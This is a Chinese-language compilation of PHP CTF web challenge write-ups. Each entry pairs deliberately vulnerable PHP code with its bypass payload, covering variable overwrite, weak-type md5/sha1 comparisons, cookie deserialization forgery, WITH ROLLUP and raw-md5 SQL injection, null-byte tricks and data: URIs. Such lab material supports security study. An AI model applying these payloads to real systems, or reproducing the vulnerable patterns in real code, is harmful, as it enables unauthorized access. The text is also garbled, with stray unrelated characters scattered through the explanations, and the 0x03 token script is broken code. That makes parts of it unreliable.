0x01 extract變量覆蓋
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
?shiyan=&flag=1
在file_get_contents($flag)過程時出錯,返回$content為空,通過$shiyan==$content判斷
0x02 繞過過濾的空白字符
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //為一個配置選項設置值
error_reporting(0); //關閉所有PHP錯誤報告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP頭顯示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) { //foreach 語法結構提供了遍歷數組的簡單方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾處的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 檢測變量是否是字符串,addslashes — 使用反斜線引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 獲取變量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 獲取字符串長度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 檢測變量是否為數字或數字字符串 ,此處要求number非純數字
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 獲取變量的整數值,此處要求number與intval(number)的字符串值一致髓帽,而%0c在這一過程中將保留
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){//此處要求number變量數字部分與其反轉后相同
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
?number=%00%0c191
%00使if(is_numeric($_REQUEST['number'])) 和elseif($req['number']!=strval(intval($req['number'])))均返回false;
intval和is_numeric都會忽略\f(也就是%0c)這個字符,使number值為191脑豹;
而在if(is_palindrome_number($req["number"]))判斷中郑藏,strval($number)值為\f191,從而使$number[$i]為\f瘩欺, $number[$j]為1通過if($number[$i] !== $number[$j]) 的判斷返回false必盖。
0x03 多重加密
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一個或多個數組合并為一個數組
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函數執(zhí)行一條 MySQL 查詢。
return @mysql_fetch_array($sql);
//從結果集中取得一行作為關聯數組俱饿,或數字數組歌粥,或二者兼有返回根據從結果集取得的行生成的數組,如果沒有更多行則返回 false
}
}
if(isset($requset['token']))
//測試變量是否已經配置拍埠。若變量已存在則返回 true 值失驶。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:進行字符串壓縮
//unserialize: 將已序列化的字符串還原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符枣购。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
判斷條件只有一個:if($login['user'] === 'ichunqiu')
而$login = unserialize(gzuncompress(base64_decode($requset['token'])));
因此只需要傳遞一個符合要求的序列化值即可嬉探,腳本如下:
<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
?>
//eJxLtDK0qs60MrBOAuJaAB5uBBQ=
0x04 SQL注入_WITH ROLLUP繞過
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//檢測變量是否是數組
$StrValue=implode($StrValue);
//返回由數組元素組合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就會停止匹配
print "水可載舟擦耀,亦可賽艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍歷數組
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//設置活動的 MySQL 數據庫
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
//執(zhí)行一條 MySQL 查詢
if (mysql_num_rows($query) == 1) {
//返回結果集中行的數目
$key = mysql_fetch_array($query);
//返回根據從結果集取得的行生成的數組涩堤,如果沒有更多行則返回 false
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可賽艇眷蜓!";
}
}else{
print "一顆賽艇!";
}
mysql_close($con);
?>
admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
拼接后的SQL語句為:
SELECT * FROM interest WHERE uname = 'admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
因此可以通過注入payload使username仍為admin胎围,但password為空账磺。
POST:
username=admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -&password=
0x05 sha()函數比較繞過
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
?name[]=1&password[]=2
sha1()函數默認的傳入參數類型是字符串型,當傳入數組時均會返回false痊远,通過判斷。
0x06 SESSION驗證繞過
<?php
$flag = "flag";
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
?password=
初始狀態(tài)session為空氏捞,因此password也傳入空值即可
0x07 md5加密相等繞過
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391
pg:把你的密碼設成 0x1234Ab碧聪,然后退出登錄再登錄,換密碼 1193131登錄液茎,如果登錄成功逞姿,那么密碼絕對是明文保存的沒跑。
同理捆等,密碼設置為 240610708滞造,換密碼 QNKCDZO登錄能成功,那么密碼沒加鹽直接md5保存的栋烤。
0x08 intval函數四舍五入
<?php
if($_GET[id]) {
$id = intval($_GET[id]);
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo "flag{**************************}";
}
}
?>
1024.1繞過
0x09 md5()函數===使用數組繞過
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
?username[]=1&password[]=2
0x10 十六進制與數字比較
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 碼值
$nine = ord('9'); //ord — 返回字符的 ASCII 碼值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
echo $flag;
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
?password=0xdeadc0de
3735929054 == 0xdeadc0de(十六進制)
0x11 數字驗證正則繞過
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 執(zhí)行一個正則表達式匹配, 意為必須是12個字符以上(非空格非TAB之外的內容)
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr)) //意為匹配到的次數要大于6次
//字符串中谒养,把連續(xù)的大寫,小寫明郭,數字买窟,符號作為一段第股,至少分六段嘉抓,例如a12SD+io8可以分成a 12 SD + io 8六段
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何標點符號 [[:digit:]] 任何數字 [[:upper:]] 任何大寫字母 [[:lower:]] 任何小寫字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,意為必須要有大小寫字母垢揩,數字话侄,字符內容三種與三種以上
if ("42" == $password) echo $flag; //意為必須等于42
else echo 'Wrong password';
exit;
}
}
?>
password=42.00e+00000000000 或 password=420.000000000e-1
0x12 弱類型整數大小比較繞過
<?php
error_reporting(0);
$flag = "flag{test}";
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>
?password=1337a
當一個整形和一個其他類型行比較的時候亏推,會先把其他類型intval再比。
當輸入1337a年堆,在is_numeric中返回true吞杭,然后在比較時被轉換成數字1337。
0x13 md5函數true繞過注入
<?php
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 選擇數據庫
$db = mysql_select_db("security", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 執(zhí)行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
?password=ffifdyop
只需md5($password,true)包含' or 'xxx這樣的字符即可繞過变丧,SQL即變成:
SELECT * FROM admin WHERE pass = '' or 'xxx'
字符串ffifdyop
篇亭,md5后為276f722736c95d99e921722cf9ed621c,hex轉換為字符串為:'or'6<trash>
0x14 switch沒有break 字符與0比較繞過
<?php
//$flag = 'flag{***************}';
error_reporting(0);
if (isset($_GET['which']))
{
$which = $_GET['which'];
switch ($which)
{
case 0:
echo 111;
//break;
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
?>
?which=flag
這里在case 0 和 case 1的時候均沒有break锄贷,按照常規(guī)思維译蒂,應該是0比較不成功曼月,進入比較1,然后比較2柔昼,再然后進入default哑芹。
但實際上,在case 0比較的時候捕透,是相等的聪姿。進入了case 0的方法體,但是卻沒有break乙嘀,這個時候末购,默認判斷已經比較成功了,而如果匹配成功之后虎谢,會繼續(xù)執(zhí)行后面的語句盟榴。當我們傳入flag時,case 0比較進入了方法體婴噩,但是沒有break擎场,默認已經匹配成功,往下執(zhí)行不再判斷几莽,進入2的時候迅办,執(zhí)行了require_once flag.php
在php中,非數字開頭的字符串與數字0的弱類型比較(==)均返回true章蚣。
而以數字開頭的字符串進行比較時站欺,可轉換為數字。
eg:7asd可轉換為7
0x15 利用提交數組繞過邏輯
<?php
$role = "guest";
$flag = "flag{test_flag}";
$auth = false;
if(isset($_COOKIE["role"])){
$role = unserialize(base64_decode($_COOKIE["role"]));
if($role === "admin"){
$auth = true;
}
else{
$auth = false;
}
}
else{
$role = base64_encode(serialize($role));
setcookie('role',$role);
}
if($auth){
if(isset($_POST['filename'])){
$filename = $_POST['filename'];
$data = $_POST['data'];
if(preg_match('[<>?]', $data)) {
die('No No No!'.$data);
}
else {
$s = implode($data);//implode() 函數返回由數組元素組合成的字符串纤垂。
if(!preg_match('[<>?]', $s)){
$flag='None.';
}
$rand = rand(1,10000000);
$tmp="./uploads/".md5(time() + $rand).$filename;
file_put_contents($tmp, $flag);
echo "your file is in " . $tmp;
}
}
else{
echo "Hello admin, now you can upload something you are easy to forget.";
echo "<br />there are the source.<br />";
echo '<textarea rows="10" cols="100">';
echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
echo '</textarea>';
}
}
else{
echo "Sorry. You have no permissions.";
}
?>
- 修改cookie中role為czo1OiJhZG1pbiI7令$auth為true
- 以
data[0]=123&data[1]=<>
的形式傳入數組
preg_match('[<>?]', $data)
匹配數組镊绪,結果返回false;
preg_match('[<>?]', $s)
匹配字符串洒忧,結果返回true蝴韭。
0x16
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
?a=data:,1112 is a nice lab!&id=0e12&b=%00412311
$data=="1112 is a nice lab!"
利用遠程文件包含在allow_url_include開啟時可以使用,但發(fā)現對$a有了.過濾所以還是data協(xié)議比較穩(wěn)妥熙侍,參考這里
data:,<文本數據>
data:text/plain,<文本數據>
data:text/html,<HTML代碼>
data:text/html;base64,<base64編碼的HTML代碼>
data:text/css,<CSS代碼>
data:text/css;base64,<base64編碼的CSS代碼>
data:text/javascript,<Javascript代碼>
data:text/javascript;base64,<base64編碼的Javascript代碼>
data:image/gif;base64,base64編碼的gif圖片數據
data:image/png;base64,base64編碼的png圖片數據
data:image/jpeg;base64,base64編碼的jpeg圖片數據
data:image/x-icon;base64,base64編碼的icon圖片數據$id==0
典型的PHP弱比較可參考這里strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
strlen函數對%00不截斷但substr截斷
ereg函數對%00截斷及遇到%00則默認為字符串的結束
0x17
<?php
error_reporting(0);
include "flag.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");//這里涉及超全局變量的使用
}
?>
?args=GLOBALS
0x18
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?>
?x1=1a&x2={"x21":"2018e","x22":[["XIPU"],0]}&x3=47484XIPU
- x1=1a 或 0
- x3位md5弱類型比較
import re
import hashlib
md = hashlib.md5("15562".encode())
s = md.hexdigest()[8:8+16]
print('md5(15562) =',s)
for i in range(10000000):
#md = hashlib.md5(('XIPU'+str(i)).encode())
md = hashlib.md5((str(i) + 'XIPU').encode())
x = md.hexdigest()[8:8+16]
if re.findall('^0e\d*$',x):
print(str(i) + 'XIPU')
print(x)
0x19
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
message={"key":true}
0x20
<?php
error_reporting(0);
if (empty($_GET['b'])) {
show_source(__FILE__);
die();
}else{
include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
}else{
exit('你的答案不對0.0');
}
}
?>
?b=a[0]=s878926199a
0x21
<?php
if(isset($_POST['login']))
{
if(isset($_POST['user']))
{
if(@strcmp($_POST['user'],$USER))//USER是被隱藏的復雜用戶名
{
die('user錯誤榄鉴!');
}
}
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('賬號密碼不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))
{
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
{
if($_POST['id']==72)
die("flag...");
else
die("ID錯誤2蛉抓!");
}
else
{
die("ID錯誤1庆尘!");
}
}
else
die('賬號密碼錯誤!');
}
}
user[]=1&name[]=1&password[]=2&id=72.0&login=Check
or
user[]=1&name[]=1&password[]=2&id=072&login=Check